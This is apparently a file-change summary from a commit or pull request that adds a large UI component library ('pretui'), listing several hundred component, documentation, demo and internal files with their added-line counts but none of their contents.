- package/bundled-realms/pretui/components/multi-select.gts +392 -0
- package/bundled-realms/pretui/components/multi-select.md +57 -0
- package/bundled-realms/pretui/components/multi-select.usage.gts +97 -0
- package/bundled-realms/pretui/components/native-select.gts +212 -0
- package/bundled-realms/pretui/components/native-select.md +77 -0
- package/bundled-realms/pretui/components/native-select.usage.gts +109 -0
- package/bundled-realms/pretui/components/navigation-menu.gts +351 -0
- package/bundled-realms/pretui/components/navigation-menu.md +65 -0
- package/bundled-realms/pretui/components/navigation-menu.usage.gts +61 -0
- package/bundled-realms/pretui/components/node-canvas.gts +1174 -0
- package/bundled-realms/pretui/components/node-canvas.md +57 -0
- package/bundled-realms/pretui/components/node-canvas.usage.gts +548 -0
- package/bundled-realms/pretui/components/node-card.gts +181 -0
- package/bundled-realms/pretui/components/node-card.md +53 -0
- package/bundled-realms/pretui/components/node-card.usage.gts +156 -0
- package/bundled-realms/pretui/components/notification.gts +242 -0
- package/bundled-realms/pretui/components/notification.md +69 -0
- package/bundled-realms/pretui/components/notification.usage.gts +125 -0
- package/bundled-realms/pretui/components/number-input.gts +191 -0
- package/bundled-realms/pretui/components/number-input.md +54 -0
- package/bundled-realms/pretui/components/number-input.usage.gts +132 -0
- package/bundled-realms/pretui/components/odometer.gts +349 -0
- package/bundled-realms/pretui/components/odometer.md +55 -0
- package/bundled-realms/pretui/components/odometer.usage.gts +258 -0
- package/bundled-realms/pretui/components/onboarding.gts +298 -0
- package/bundled-realms/pretui/components/onboarding.md +48 -0
- package/bundled-realms/pretui/components/onboarding.usage.gts +155 -0
- package/bundled-realms/pretui/components/origin-grid.gts +486 -0
- package/bundled-realms/pretui/components/origin-grid.md +47 -0
- package/bundled-realms/pretui/components/origin-grid.usage.gts +87 -0
- package/bundled-realms/pretui/components/otp-input.gts +289 -0
- package/bundled-realms/pretui/components/otp-input.md +47 -0
- package/bundled-realms/pretui/components/otp-input.usage.gts +131 -0
- package/bundled-realms/pretui/components/page-scaffold.gts +343 -0
- package/bundled-realms/pretui/components/page-scaffold.md +57 -0
- package/bundled-realms/pretui/components/page-scaffold.usage.gts +391 -0
- package/bundled-realms/pretui/components/pagination.gts +150 -0
- package/bundled-realms/pretui/components/pagination.md +56 -0
- package/bundled-realms/pretui/components/pagination.usage.gts +33 -0
- package/bundled-realms/pretui/components/panel-section.gts +301 -0
- package/bundled-realms/pretui/components/panel-section.md +48 -0
- package/bundled-realms/pretui/components/panel-section.usage.gts +137 -0
- package/bundled-realms/pretui/components/panel.gts +158 -0
- package/bundled-realms/pretui/components/panel.md +58 -0
- package/bundled-realms/pretui/components/panel.usage.gts +82 -0
- package/bundled-realms/pretui/components/password-input.gts +329 -0
- package/bundled-realms/pretui/components/password-input.md +58 -0
- package/bundled-realms/pretui/components/password-input.usage.gts +156 -0
- package/bundled-realms/pretui/components/password-strength.gts +485 -0
- package/bundled-realms/pretui/components/password-strength.md +50 -0
- package/bundled-realms/pretui/components/password-strength.usage.gts +34 -0
- package/bundled-realms/pretui/components/path-text.gts +288 -0
- package/bundled-realms/pretui/components/path-text.md +58 -0
- package/bundled-realms/pretui/components/path-text.usage.gts +239 -0
- package/bundled-realms/pretui/components/period-input.gts +1100 -0
- package/bundled-realms/pretui/components/period-input.md +54 -0
- package/bundled-realms/pretui/components/period-input.usage.gts +299 -0
- package/bundled-realms/pretui/components/phone-input.gts +80 -0
- package/bundled-realms/pretui/components/phone-input.md +55 -0
- package/bundled-realms/pretui/components/phone-input.usage.gts +91 -0
- package/bundled-realms/pretui/components/pin-input.gts +2 -0
- package/bundled-realms/pretui/components/pin-input.md +45 -0
- package/bundled-realms/pretui/components/pin-input.usage.gts +39 -0
- package/bundled-realms/pretui/components/pip-scale.gts +717 -0
- package/bundled-realms/pretui/components/pip-scale.md +55 -0
- package/bundled-realms/pretui/components/pip-scale.usage.gts +318 -0
- package/bundled-realms/pretui/components/popconfirm.gts +380 -0
- package/bundled-realms/pretui/components/popconfirm.md +78 -0
- package/bundled-realms/pretui/components/popconfirm.usage.gts +171 -0
- package/bundled-realms/pretui/components/popover.gts +198 -0
- package/bundled-realms/pretui/components/popover.md +57 -0
- package/bundled-realms/pretui/components/popover.usage.gts +106 -0
- package/bundled-realms/pretui/components/popup.gts +85 -0
- package/bundled-realms/pretui/components/popup.md +42 -0
- package/bundled-realms/pretui/components/popup.usage.gts +23 -0
- package/bundled-realms/pretui/components/presence.gts +156 -0
- package/bundled-realms/pretui/components/presence.md +55 -0
- package/bundled-realms/pretui/components/presence.usage.gts +204 -0
- package/bundled-realms/pretui/components/progress-bar.gts +177 -0
- package/bundled-realms/pretui/components/progress-bar.md +63 -0
- package/bundled-realms/pretui/components/progress-bar.usage.gts +172 -0
- package/bundled-realms/pretui/components/progress-radial.gts +67 -0
- package/bundled-realms/pretui/components/progress-radial.md +55 -0
- package/bundled-realms/pretui/components/progress-radial.usage.gts +76 -0
- package/bundled-realms/pretui/components/prompt-library.gts +358 -0
- package/bundled-realms/pretui/components/prompt-library.md +45 -0
- package/bundled-realms/pretui/components/prompt-library.usage.gts +117 -0
- package/bundled-realms/pretui/components/property-row.gts +316 -0
- package/bundled-realms/pretui/components/property-row.md +55 -0
- package/bundled-realms/pretui/components/property-row.usage.gts +146 -0
- package/bundled-realms/pretui/components/property-sheet.gts +133 -0
- package/bundled-realms/pretui/components/property-sheet.md +48 -0
- package/bundled-realms/pretui/components/property-sheet.usage.gts +132 -0
- package/bundled-realms/pretui/components/prose.gts +31 -0
- package/bundled-realms/pretui/components/prose.md +57 -0
- package/bundled-realms/pretui/components/prose.usage.gts +15 -0
- package/bundled-realms/pretui/components/pulsing-border.gts +297 -0
- package/bundled-realms/pretui/components/pulsing-border.md +65 -0
- package/bundled-realms/pretui/components/pulsing-border.usage.gts +253 -0
- package/bundled-realms/pretui/components/qr-code.gts +660 -0
- package/bundled-realms/pretui/components/qr-code.md +58 -0
- package/bundled-realms/pretui/components/qr-code.usage.gts +224 -0
- package/bundled-realms/pretui/components/queued-message.gts +83 -0
- package/bundled-realms/pretui/components/queued-message.md +53 -0
- package/bundled-realms/pretui/components/queued-message.usage.gts +21 -0
- package/bundled-realms/pretui/components/radio-card.gts +88 -0
- package/bundled-realms/pretui/components/radio-card.md +72 -0
- package/bundled-realms/pretui/components/radio-card.usage.gts +148 -0
- package/bundled-realms/pretui/components/radio-group.gts +119 -0
- package/bundled-realms/pretui/components/radio-group.md +46 -0
- package/bundled-realms/pretui/components/radio-group.usage.gts +80 -0
- package/bundled-realms/pretui/components/range-slider.gts +34 -0
- package/bundled-realms/pretui/components/range-slider.md +47 -0
- package/bundled-realms/pretui/components/range-slider.usage.gts +46 -0
- package/bundled-realms/pretui/components/rating.examples.gts +67 -0
- package/bundled-realms/pretui/components/rating.gts +266 -0
- package/bundled-realms/pretui/components/rating.md +55 -0
- package/bundled-realms/pretui/components/rating.usage.gts +96 -0
- package/bundled-realms/pretui/components/readiness-panel.gts +856 -0
- package/bundled-realms/pretui/components/readiness-panel.md +64 -0
- package/bundled-realms/pretui/components/readiness-panel.usage.gts +372 -0
- package/bundled-realms/pretui/components/recommendation.gts +316 -0
- package/bundled-realms/pretui/components/recommendation.md +49 -0
- package/bundled-realms/pretui/components/recommendation.usage.gts +103 -0
- package/bundled-realms/pretui/components/record-detail.gts +1170 -0
- package/bundled-realms/pretui/components/record-detail.md +63 -0
- package/bundled-realms/pretui/components/record-detail.usage.gts +533 -0
- package/bundled-realms/pretui/components/record-face.gts +153 -0
- package/bundled-realms/pretui/components/record-pill.gts +116 -0
- package/bundled-realms/pretui/components/record-pill.md +55 -0
- package/bundled-realms/pretui/components/record-pill.usage.gts +108 -0
- package/bundled-realms/pretui/components/relative-time.gts +88 -0
- package/bundled-realms/pretui/components/relative-time.md +58 -0
- package/bundled-realms/pretui/components/relative-time.usage.gts +89 -0
- package/bundled-realms/pretui/components/reorder.gts +620 -0
- package/bundled-realms/pretui/components/reorder.md +47 -0
- package/bundled-realms/pretui/components/reorder.usage.gts +171 -0
- package/bundled-realms/pretui/components/resizable.gts +2 -0
- package/bundled-realms/pretui/components/resizable.md +37 -0
- package/bundled-realms/pretui/components/resizable.usage.gts +53 -0
- package/bundled-realms/pretui/components/result-card.gts +68 -0
- package/bundled-realms/pretui/components/result-card.md +45 -0
- package/bundled-realms/pretui/components/result-card.usage.gts +29 -0
- package/bundled-realms/pretui/components/result.gts +204 -0
- package/bundled-realms/pretui/components/result.md +67 -0
- package/bundled-realms/pretui/components/result.usage.gts +85 -0
- package/bundled-realms/pretui/components/rule-row.gts +462 -0
- package/bundled-realms/pretui/components/rule-row.md +60 -0
- package/bundled-realms/pretui/components/rule-row.usage.gts +157 -0
- package/bundled-realms/pretui/components/scroll-area.gts +121 -0
- package/bundled-realms/pretui/components/scroll-area.md +59 -0
- package/bundled-realms/pretui/components/scroll-area.usage.gts +175 -0
- package/bundled-realms/pretui/components/scroll-progress.gts +222 -0
- package/bundled-realms/pretui/components/scroll-progress.md +48 -0
- package/bundled-realms/pretui/components/scroll-progress.usage.gts +162 -0
- package/bundled-realms/pretui/components/scroller.gts +323 -0
- package/bundled-realms/pretui/components/scroller.md +44 -0
- package/bundled-realms/pretui/components/scroller.usage.gts +184 -0
- package/bundled-realms/pretui/components/scrub-input.gts +691 -0
- package/bundled-realms/pretui/components/scrub-input.md +61 -0
- package/bundled-realms/pretui/components/scrub-input.usage.gts +275 -0
- package/bundled-realms/pretui/components/search-input.gts +141 -0
- package/bundled-realms/pretui/components/search-input.md +56 -0
- package/bundled-realms/pretui/components/search-input.usage.gts +91 -0
- package/bundled-realms/pretui/components/segmented-control.gts +198 -0
- package/bundled-realms/pretui/components/segmented-control.md +39 -0
- package/bundled-realms/pretui/components/segmented-control.usage.gts +66 -0
- package/bundled-realms/pretui/components/select.examples.gts +80 -0
- package/bundled-realms/pretui/components/select.gts +481 -0
- package/bundled-realms/pretui/components/select.md +71 -0
- package/bundled-realms/pretui/components/select.usage.gts +109 -0
- package/bundled-realms/pretui/components/separator.gts +2 -0
- package/bundled-realms/pretui/components/separator.md +36 -0
- package/bundled-realms/pretui/components/separator.usage.gts +32 -0
- package/bundled-realms/pretui/components/session-prep.gts +164 -0
- package/bundled-realms/pretui/components/session-prep.md +48 -0
- package/bundled-realms/pretui/components/session-prep.usage.gts +122 -0
- package/bundled-realms/pretui/components/sheet-toolbar.gts +130 -0
- package/bundled-realms/pretui/components/sheet-toolbar.md +51 -0
- package/bundled-realms/pretui/components/sheet-toolbar.usage.gts +151 -0
- package/bundled-realms/pretui/components/sheet.gts +1166 -0
- package/bundled-realms/pretui/components/sheet.md +78 -0
- package/bundled-realms/pretui/components/sheet.usage.gts +318 -0
- package/bundled-realms/pretui/components/sidebar.gts +1165 -0
- package/bundled-realms/pretui/components/sidebar.md +88 -0
- package/bundled-realms/pretui/components/sidebar.usage.gts +360 -0
- package/bundled-realms/pretui/components/signature-pad.gts +840 -0
- package/bundled-realms/pretui/components/signature-pad.md +57 -0
- package/bundled-realms/pretui/components/signature-pad.usage.gts +222 -0
- package/bundled-realms/pretui/components/skeleton.gts +46 -0
- package/bundled-realms/pretui/components/skeleton.md +56 -0
- package/bundled-realms/pretui/components/skeleton.usage.gts +56 -0
- package/bundled-realms/pretui/components/skip-link.gts +65 -0
- package/bundled-realms/pretui/components/skip-link.md +49 -0
- package/bundled-realms/pretui/components/skip-link.usage.gts +47 -0
- package/bundled-realms/pretui/components/slide-over.gts +2 -0
- package/bundled-realms/pretui/components/slide-over.md +41 -0
- package/bundled-realms/pretui/components/slide-over.usage.gts +50 -0
- package/bundled-realms/pretui/components/slider.examples.gts +61 -0
- package/bundled-realms/pretui/components/slider.gts +331 -0
- package/bundled-realms/pretui/components/slider.md +59 -0
- package/bundled-realms/pretui/components/slider.usage.gts +99 -0
- package/bundled-realms/pretui/components/sliding-highlight.gts +249 -0
- package/bundled-realms/pretui/components/sliding-highlight.md +58 -0
- package/bundled-realms/pretui/components/sliding-highlight.usage.gts +184 -0
- package/bundled-realms/pretui/components/snackbar.gts +2 -0
- package/bundled-realms/pretui/components/snackbar.md +34 -0
- package/bundled-realms/pretui/components/snackbar.usage.gts +31 -0
- package/bundled-realms/pretui/components/sonner.gts +2 -0
- package/bundled-realms/pretui/components/sonner.md +42 -0
- package/bundled-realms/pretui/components/sonner.usage.gts +43 -0
- package/bundled-realms/pretui/components/sparkline.gts +233 -0
- package/bundled-realms/pretui/components/sparkline.md +58 -0
- package/bundled-realms/pretui/components/sparkline.usage.gts +74 -0
- package/bundled-realms/pretui/components/spinner.gts +57 -0
- package/bundled-realms/pretui/components/spinner.md +49 -0
- package/bundled-realms/pretui/components/spinner.usage.gts +65 -0
- package/bundled-realms/pretui/components/split-panes.gts +69 -0
- package/bundled-realms/pretui/components/split-panes.md +54 -0
- package/bundled-realms/pretui/components/split-panes.usage.gts +171 -0
- package/bundled-realms/pretui/components/spotlight.gts +174 -0
- package/bundled-realms/pretui/components/spotlight.md +51 -0
- package/bundled-realms/pretui/components/spotlight.usage.gts +197 -0
- package/bundled-realms/pretui/components/stack-divider.gts +58 -0
- package/bundled-realms/pretui/components/stack.gts +284 -0
- package/bundled-realms/pretui/components/stack.md +81 -0
- package/bundled-realms/pretui/components/stack.usage.gts +228 -0
- package/bundled-realms/pretui/components/stacking-cards.gts +137 -0
- package/bundled-realms/pretui/components/stacking-cards.md +40 -0
- package/bundled-realms/pretui/components/stacking-cards.usage.gts +124 -0
- package/bundled-realms/pretui/components/stat.gts +216 -0
- package/bundled-realms/pretui/components/stat.md +57 -0
- package/bundled-realms/pretui/components/stat.usage.gts +16 -0
- package/bundled-realms/pretui/components/statement-table.examples.gts +185 -0
- package/bundled-realms/pretui/components/statement-table.gts +792 -0
- package/bundled-realms/pretui/components/statement-table.md +58 -0
- package/bundled-realms/pretui/components/statement-table.usage.gts +252 -0
- package/bundled-realms/pretui/components/status-chip.gts +37 -0
- package/bundled-realms/pretui/components/status-chip.md +48 -0
- package/bundled-realms/pretui/components/status-chip.usage.gts +36 -0
- package/bundled-realms/pretui/components/step-list.gts +624 -0
- package/bundled-realms/pretui/components/step-list.md +50 -0
- package/bundled-realms/pretui/components/step-list.usage.gts +166 -0
- package/bundled-realms/pretui/components/stepper.gts +201 -0
- package/bundled-realms/pretui/components/stepper.md +54 -0
- package/bundled-realms/pretui/components/stepper.usage.gts +103 -0
- package/bundled-realms/pretui/components/steps-with-media.gts +254 -0
- package/bundled-realms/pretui/components/steps-with-media.md +54 -0
- package/bundled-realms/pretui/components/steps-with-media.usage.gts +208 -0
- package/bundled-realms/pretui/components/streaming-text.gts +77 -0
- package/bundled-realms/pretui/components/streaming-text.md +55 -0
- package/bundled-realms/pretui/components/streaming-text.usage.gts +15 -0
- package/bundled-realms/pretui/components/swatch-chip.gts +104 -0
- package/bundled-realms/pretui/components/swatch-chip.md +47 -0
- package/bundled-realms/pretui/components/swatch-chip.usage.gts +21 -0
- package/bundled-realms/pretui/components/swatch.gts +141 -0
- package/bundled-realms/pretui/components/swatch.md +50 -0
- package/bundled-realms/pretui/components/swatch.usage.gts +80 -0
- package/bundled-realms/pretui/components/switch.examples.gts +53 -0
- package/bundled-realms/pretui/components/switch.gts +118 -0
- package/bundled-realms/pretui/components/switch.md +62 -0
- package/bundled-realms/pretui/components/switch.usage.gts +59 -0
- package/bundled-realms/pretui/components/table-of-contents.gts +384 -0
- package/bundled-realms/pretui/components/table-of-contents.md +75 -0
- package/bundled-realms/pretui/components/table-of-contents.usage.gts +270 -0
- package/bundled-realms/pretui/components/table.gts +158 -0
- package/bundled-realms/pretui/components/table.md +80 -0
- package/bundled-realms/pretui/components/table.usage.gts +44 -0
- package/bundled-realms/pretui/components/tabs.gts +117 -0
- package/bundled-realms/pretui/components/tabs.md +58 -0
- package/bundled-realms/pretui/components/tabs.usage.gts +94 -0
- package/bundled-realms/pretui/components/tags-input.gts +52 -0
- package/bundled-realms/pretui/components/tags-input.md +48 -0
- package/bundled-realms/pretui/components/tags-input.usage.gts +56 -0
- package/bundled-realms/pretui/components/task-row.gts +483 -0
- package/bundled-realms/pretui/components/task-row.md +48 -0
- package/bundled-realms/pretui/components/task-row.usage.gts +119 -0
- package/bundled-realms/pretui/components/terminal-animation.gts +355 -0
- package/bundled-realms/pretui/components/terminal-animation.md +49 -0
- package/bundled-realms/pretui/components/terminal-animation.usage.gts +110 -0
- package/bundled-realms/pretui/components/text-effects.gts +339 -0
- package/bundled-realms/pretui/components/text-effects.md +49 -0
- package/bundled-realms/pretui/components/text-effects.usage.gts +192 -0
- package/bundled-realms/pretui/components/text-morph.gts +292 -0
- package/bundled-realms/pretui/components/text-morph.md +45 -0
- package/bundled-realms/pretui/components/text-morph.usage.gts +117 -0
- package/bundled-realms/pretui/components/text-rotate.gts +121 -0
- package/bundled-realms/pretui/components/text-rotate.md +44 -0
- package/bundled-realms/pretui/components/text-rotate.usage.gts +73 -0
- package/bundled-realms/pretui/components/text-scramble.gts +189 -0
- package/bundled-realms/pretui/components/text-scramble.md +42 -0
- package/bundled-realms/pretui/components/text-scramble.usage.gts +80 -0
- package/bundled-realms/pretui/components/text-shimmer.gts +89 -0
- package/bundled-realms/pretui/components/text-shimmer.md +42 -0
- package/bundled-realms/pretui/components/text-shimmer.usage.gts +69 -0
- package/bundled-realms/pretui/components/textarea.gts +112 -0
- package/bundled-realms/pretui/components/textarea.md +51 -0
- package/bundled-realms/pretui/components/textarea.usage.gts +100 -0
- package/bundled-realms/pretui/components/theme-frame.gts +272 -0
- package/bundled-realms/pretui/components/theme-frame.md +48 -0
- package/bundled-realms/pretui/components/thinking.gts +431 -0
- package/bundled-realms/pretui/components/thinking.md +47 -0
- package/bundled-realms/pretui/components/thinking.usage.gts +134 -0
- package/bundled-realms/pretui/components/tilt.gts +194 -0
- package/bundled-realms/pretui/components/tilt.md +50 -0
- package/bundled-realms/pretui/components/tilt.usage.gts +174 -0
- package/bundled-realms/pretui/components/time-input.gts +583 -0
- package/bundled-realms/pretui/components/time-input.md +51 -0
- package/bundled-realms/pretui/components/time-input.usage.gts +110 -0
- package/bundled-realms/pretui/components/timeline.gts +269 -0
- package/bundled-realms/pretui/components/timeline.md +63 -0
- package/bundled-realms/pretui/components/timeline.usage.gts +180 -0
- package/bundled-realms/pretui/components/toast.gts +85 -0
- package/bundled-realms/pretui/components/toast.md +57 -0
- package/bundled-realms/pretui/components/toast.usage.gts +18 -0
- package/bundled-realms/pretui/components/toaster.gts +808 -0
- package/bundled-realms/pretui/components/toaster.md +83 -0
- package/bundled-realms/pretui/components/toaster.usage.gts +256 -0
- package/bundled-realms/pretui/components/toggle-group.gts +435 -0
- package/bundled-realms/pretui/components/toggle-group.md +59 -0
- package/bundled-realms/pretui/components/toggle-group.usage.gts +260 -0
- package/bundled-realms/pretui/components/toggle-matrix.gts +994 -0
- package/bundled-realms/pretui/components/toggle-matrix.md +44 -0
- package/bundled-realms/pretui/components/toggle-matrix.usage.gts +243 -0
- package/bundled-realms/pretui/components/toggle.gts +235 -0
- package/bundled-realms/pretui/components/toggle.md +59 -0
- package/bundled-realms/pretui/components/toggle.usage.gts +244 -0
- package/bundled-realms/pretui/components/token-input.gts +483 -0
- package/bundled-realms/pretui/components/token-input.md +50 -0
- package/bundled-realms/pretui/components/token-input.usage.gts +137 -0
- package/bundled-realms/pretui/components/token.gts +197 -0
- package/bundled-realms/pretui/components/token.md +63 -0
- package/bundled-realms/pretui/components/token.usage.gts +128 -0
- package/bundled-realms/pretui/components/toolbar.gts +62 -0
- package/bundled-realms/pretui/components/toolbar.md +50 -0
- package/bundled-realms/pretui/components/toolbar.usage.gts +78 -0
- package/bundled-realms/pretui/components/tooltip.gts +212 -0
- package/bundled-realms/pretui/components/tooltip.md +53 -0
- package/bundled-realms/pretui/components/tooltip.usage.gts +64 -0
- package/bundled-realms/pretui/components/tour.gts +436 -0
- package/bundled-realms/pretui/components/tour.md +62 -0
- package/bundled-realms/pretui/components/tour.usage.gts +70 -0
- package/bundled-realms/pretui/components/transfer.gts +2 -0
- package/bundled-realms/pretui/components/transfer.md +39 -0
- package/bundled-realms/pretui/components/transfer.usage.gts +52 -0
- package/bundled-realms/pretui/components/transmute.gts +103 -0
- package/bundled-realms/pretui/components/transmute.md +49 -0
- package/bundled-realms/pretui/components/transmute.usage.gts +16 -0
- package/bundled-realms/pretui/components/tree-select.gts +596 -0
- package/bundled-realms/pretui/components/tree-select.md +70 -0
- package/bundled-realms/pretui/components/tree-select.usage.gts +75 -0
- package/bundled-realms/pretui/components/tree.gts +532 -0
- package/bundled-realms/pretui/components/tree.md +68 -0
- package/bundled-realms/pretui/components/tree.usage.gts +278 -0
- package/bundled-realms/pretui/components/trim-bar.gts +611 -0
- package/bundled-realms/pretui/components/trim-bar.md +48 -0
- package/bundled-realms/pretui/components/trim-bar.usage.gts +112 -0
- package/bundled-realms/pretui/components/typewriter.gts +122 -0
- package/bundled-realms/pretui/components/typewriter.md +45 -0
- package/bundled-realms/pretui/components/typewriter.usage.gts +105 -0
- package/bundled-realms/pretui/components/typography.gts +379 -0
- package/bundled-realms/pretui/components/typography.md +77 -0
- package/bundled-realms/pretui/components/typography.usage.gts +52 -0
- package/bundled-realms/pretui/components/url-input.gts +130 -0
- package/bundled-realms/pretui/components/url-input.md +58 -0
- package/bundled-realms/pretui/components/url-input.usage.gts +97 -0
- package/bundled-realms/pretui/components/usage-action.gts +16 -0
- package/bundled-realms/pretui/components/usage-argument.gts +109 -0
- package/bundled-realms/pretui/components/usage-argument.md +44 -0
- package/bundled-realms/pretui/components/usage-array.gts +80 -0
- package/bundled-realms/pretui/components/usage-array.md +47 -0
- package/bundled-realms/pretui/components/usage-bool.gts +62 -0
- package/bundled-realms/pretui/components/usage-bool.md +47 -0
- package/bundled-realms/pretui/components/usage-component-arg.gts +16 -0
- package/bundled-realms/pretui/components/usage-css-variable.gts +56 -0
- package/bundled-realms/pretui/components/usage-css-variable.md +48 -0
- package/bundled-realms/pretui/components/usage-number.gts +127 -0
- package/bundled-realms/pretui/components/usage-number.md +48 -0
- package/bundled-realms/pretui/components/usage-object.gts +58 -0
- package/bundled-realms/pretui/components/usage-object.md +48 -0
- package/bundled-realms/pretui/components/usage-string.gts +89 -0
- package/bundled-realms/pretui/components/usage-string.md +46 -0
- package/bundled-realms/pretui/components/usage-yield.gts +16 -0
- package/bundled-realms/pretui/components/value-input.gts +265 -0
- package/bundled-realms/pretui/components/value-input.md +49 -0
- package/bundled-realms/pretui/components/value-input.usage.gts +176 -0
- package/bundled-realms/pretui/components/video-player.gts +80 -0
- package/bundled-realms/pretui/components/video-player.md +46 -0
- package/bundled-realms/pretui/components/video-player.usage.gts +107 -0
- package/bundled-realms/pretui/components/viewport.gts +520 -0
- package/bundled-realms/pretui/components/viewport.md +55 -0
- package/bundled-realms/pretui/components/visually-hidden.gts +49 -0
- package/bundled-realms/pretui/components/visually-hidden.md +47 -0
- package/bundled-realms/pretui/components/visually-hidden.usage.gts +27 -0
- package/bundled-realms/pretui/components/watermark.gts +141 -0
- package/bundled-realms/pretui/components/watermark.md +58 -0
- package/bundled-realms/pretui/components/watermark.usage.gts +63 -0
- package/bundled-realms/pretui/components/waveform.gts +376 -0
- package/bundled-realms/pretui/components/waveform.md +56 -0
- package/bundled-realms/pretui/components/waveform.usage.gts +131 -0
- package/bundled-realms/pretui/components/wizard.gts +677 -0
- package/bundled-realms/pretui/components/wizard.md +58 -0
- package/bundled-realms/pretui/components/wizard.usage.gts +188 -0
- package/bundled-realms/pretui/components/work-item.gts +207 -0
- package/bundled-realms/pretui/components/work-item.md +58 -0
- package/bundled-realms/pretui/components/work-item.usage.gts +103 -0
- package/bundled-realms/pretui/components/zoomable-frame.gts +541 -0
- package/bundled-realms/pretui/components/zoomable-frame.md +50 -0
- package/bundled-realms/pretui/components/zoomable-frame.usage.gts +175 -0
- package/bundled-realms/pretui/cropper/LICENSE +21 -0
- package/bundled-realms/pretui/cropper/README.md +92 -0
- package/bundled-realms/pretui/cropper/index.js +81 -0
- package/bundled-realms/pretui/data-component.gts +1161 -0
- package/bundled-realms/pretui/demo-design-layers.gts +112 -0
- package/bundled-realms/pretui/demo-design-tools.gts +463 -0
- package/bundled-realms/pretui/demo-design-value.gts +9 -0
- package/bundled-realms/pretui/demo-forms-core.gts +82 -0
- package/bundled-realms/pretui/demo-forms-expression.gts +76 -0
- package/bundled-realms/pretui/demo-forms-record.gts +16 -0
- package/bundled-realms/pretui/demo-foundations-more.gts +10 -0
- package/bundled-realms/pretui/demo-foundations.gts +8 -0
- package/bundled-realms/pretui/demo-ink-feedback.gts +12 -0
- package/bundled-realms/pretui/demo-json.gts +17 -0
- package/bundled-realms/pretui/demo-locations.ts +103 -0
- package/bundled-realms/pretui/demo-media-library.gts +101 -0
- package/bundled-realms/pretui/demo-media.gts +6 -0
- package/bundled-realms/pretui/demo-menu.gts +182 -0
- package/bundled-realms/pretui/demo-motion-core.gts +4 -0
- package/bundled-realms/pretui/demo-motion-pointer.gts +21 -0
- package/bundled-realms/pretui/demo-reading-format.gts +10 -0
- package/bundled-realms/pretui/demo-structure-dashboard.gts +212 -0
- package/bundled-realms/pretui/demo-structure-data.gts +4 -0
- package/bundled-realms/pretui/demo-structure-scroll.gts +19 -0
- package/bundled-realms/pretui/demo-structure.gts +21 -0
- package/bundled-realms/pretui/demo-surfaces-grid.gts +104 -0
- package/bundled-realms/pretui/demo-texture.gts +21 -0
- package/bundled-realms/pretui/docs/catalog-taxonomy.md +200 -0
- package/bundled-realms/pretui/docs/composites.md +13 -0
- package/bundled-realms/pretui/docs/reading.md +12 -0
- package/bundled-realms/pretui/docs/structure.md +8 -0
- package/bundled-realms/pretui/emoji-data/LICENSE +202 -0
- package/bundled-realms/pretui/emoji-data/LICENSE.data +202 -0
- package/bundled-realms/pretui/emoji-data/LICENSE.emojibase +21 -0
- package/bundled-realms/pretui/emoji-data/LICENSE.unicode +39 -0
- package/bundled-realms/pretui/emoji-data/README.md +360 -0
- package/bundled-realms/pretui/emoji-data/data.ts +45 -0
- package/bundled-realms/pretui/emoji-data/engine.ts +465 -0
- package/bundled-realms/pretui/example-gallery.gts +129 -0
- package/bundled-realms/pretui/examples-kit.gts +228 -0
- package/bundled-realms/pretui/examples-listing.gts +51 -0
- package/bundled-realms/pretui/examples.gts +584 -0
- package/bundled-realms/pretui/focus.gts +459 -0
- package/bundled-realms/pretui/gridstack/LICENSE +21 -0
- package/bundled-realms/pretui/gridstack/README.md +103 -0
- package/bundled-realms/pretui/gridstack/index.js +169 -0
- package/bundled-realms/pretui/icon-registry.gts +753 -0
- package/bundled-realms/pretui/index.json +11 -0
- package/bundled-realms/pretui/internal/agentic-chat.gts +101 -0
- package/bundled-realms/pretui/internal/blocks.gts +35 -0
- package/bundled-realms/pretui/internal/choice-cards.gts +258 -0
- package/bundled-realms/pretui/internal/color-fixtures.gts +3 -0
- package/bundled-realms/pretui/internal/composites-fixtures.gts +16 -0
- package/bundled-realms/pretui/internal/corner-mark.gts +83 -0
- package/bundled-realms/pretui/internal/design-tools.gts +881 -0
- package/bundled-realms/pretui/internal/extras.gts +31 -0
- package/bundled-realms/pretui/internal/feedback.gts +27 -0
- package/bundled-realms/pretui/internal/file-intake-fixtures.gts +17 -0
- package/bundled-realms/pretui/internal/file-intake.gts +193 -0
- package/bundled-realms/pretui/internal/forms-core.gts +394 -0
- package/bundled-realms/pretui/internal/forms-expression.gts +837 -0
- package/bundled-realms/pretui/internal/forms-picker-fixtures.gts +10 -0
- package/bundled-realms/pretui/internal/forms-picker.gts +129 -0
- package/bundled-realms/pretui/internal/forms-record.gts +173 -0
- package/bundled-realms/pretui/internal/freestyle.gts +117 -0
- package/bundled-realms/pretui/internal/ink.gts +25 -0
- package/bundled-realms/pretui/internal/json-tree.gts +526 -0
- package/bundled-realms/pretui/internal/keep-style.gts +168 -0
- package/bundled-realms/pretui/internal/media-assets.gts +10 -0
- package/bundled-realms/pretui/internal/media-library.gts +14 -0
- package/bundled-realms/pretui/internal/media-viewer.gts +322 -0
- package/bundled-realms/pretui/internal/media-wave.gts +270 -0
- package/bundled-realms/pretui/internal/menu.gts +522 -0
- package/bundled-realms/pretui/internal/money-fixtures.gts +6 -0
- package/bundled-realms/pretui/internal/money.gts +477 -0
- package/bundled-realms/pretui/internal/motion-core.gts +54 -0
- package/bundled-realms/pretui/internal/motion-pointer.gts +234 -0
- package/bundled-realms/pretui/internal/overlay-confirm.gts +35 -0
- package/bundled-realms/pretui/internal/overlay.gts +291 -0
- package/bundled-realms/pretui/internal/reading-extras.gts +56 -0
- package/bundled-realms/pretui/internal/reading-format.gts +232 -0
- package/bundled-realms/pretui/internal/reading-listing.gts +232 -0
- package/bundled-realms/pretui/internal/structure-chart.gts +414 -0
- package/bundled-realms/pretui/internal/structure-dashboard.gts +503 -0
- package/bundled-realms/pretui/internal/structure-flow.gts +48 -0
- package/bundled-realms/pretui/internal/structure-layout-fixtures.gts +36 -0
- package/bundled-realms/pretui/internal/structure-layout.gts +99 -0
- package/bundled-realms/pretui/internal/structure-morph.gts +140 -0
- package/bundled-realms/pretui/internal/structure-scenes.gts +25 -0
- package/bundled-realms/pretui/internal/structure-scroll.gts +72 -0
- package/bundled-realms/pretui/internal/structure-shell-fixtures.gts +25 -0
- package/bundled-realms/pretui/internal/surfaces-canvas-fixtures.gts +5 -0
- package/bundled-realms/pretui/internal/surfaces-canvas.gts +283 -0
- package/bundled-realms/pretui/internal/texture.gts +81 -0
- package/bundled-realms/pretui/internal/toggle-controls-fixtures.gts +7 -0
- package/bundled-realms/pretui/internal/toggle-controls.gts +81 -0
- package/bundled-realms/pretui/json-model.ts +1981 -0
